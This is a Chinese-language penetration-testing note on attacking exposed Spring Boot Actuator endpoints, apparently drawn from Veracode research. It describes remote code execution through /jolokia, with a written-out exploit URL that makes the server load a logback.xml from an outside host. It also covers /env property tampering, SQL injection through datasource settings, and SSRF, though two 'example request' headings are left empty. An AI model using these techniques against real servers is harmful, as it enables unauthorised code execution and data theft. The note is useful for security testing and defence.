Spring Actuators
最后更新于
最后更新于
来自 https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
查看原始帖子 [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Spring Boot Actuators注册诸如/health
、/trace
、/beans
、/env
等端点。在1到1.4版本中,这些端点可以在无需身份验证的情况下访问。从1.5版本开始,默认情况下只有/health
和/info
是非敏感的,但开发人员经常禁用此安全性。
某些Actuator端点可能会暴露敏感数据或允许有害操作:
/dump
、/trace
、/logfile
、/shutdown
、/mappings
、/env
、/actuator/env
、/restart
和/heapdump
。
在Spring Boot 1.x中,actuators注册在根URL下,而在2.x中,它们在/actuator/
基本路径下。
通过'/jolokia'实现远程代码执行:
/jolokia
actuator端点暴露了Jolokia库,允许通过HTTP访问MBeans。
reloadByURL
操作可被利用以从外部URL重新加载日志配置,这可能导致通过精心制作的XML配置进行盲目XXE或远程代码执行。
示例利用URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
。
通过'/env'修改配置:
如果存在Spring Cloud库,则/env
端点允许修改环境属性。
可以操纵属性以利用漏洞,例如Eureka serviceURL中的XStream反序列化漏洞。
示例利用POST请求:
其他有用的设置:
诸如spring.datasource.tomcat.validationQuery
、spring.datasource.tomcat.url
和spring.datasource.tomcat.max-active
等属性可以被操纵以进行各种利用,例如SQL注入或更改数据库连接字符串。
可在此处找到默认actuators的全面列表。
Spring Boot 2.x中的/env
端点使用JSON格式进行属性修改,但一般概念保持不变。
Env + H2 RCE:
有关利用/env
端点和H2数据库组合的详细信息,请参阅此处。
通过不正确的路径名解释在Spring Boot上进行SSRF:
Spring框架对HTTP路径名中的矩阵参数(;
)的处理可被利用进行服务器端请求伪造(SSRF)。
示例利用请求: